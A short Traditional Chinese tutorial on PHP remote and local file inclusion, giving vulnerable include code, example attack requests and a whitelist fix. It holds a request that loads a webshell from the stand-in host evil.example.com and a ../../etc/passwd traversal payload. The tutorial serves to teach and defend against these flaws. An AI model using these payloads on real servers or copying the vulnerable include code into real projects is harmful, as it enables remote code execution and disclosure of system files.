檔案包含

遠端檔案包含

遠端檔案包含(也稱為 RFI)是一種允許攻擊者包含遠端檔案的漏洞。

此示例注入包含惡意程式碼的遠端託管檔案:

<?php
include $_GET['page'];

/vulnerable.php?page= http://evil.example.com/webshel​​l.txt

本地檔案包含

本地檔案包含(也稱為 LFI)是通過 Web 瀏覽器在伺服器上包含檔案的過程。

<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
    include $page;
} else {
    include 'index.php';
}

/vulnerable.php?page=../../../../etc/passwd

RFI 和 LFI 解決方案:

建議僅允許包含你批准的檔案,並僅限於這些檔案。

<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
    include($page);
} else {
    include('index.php');
}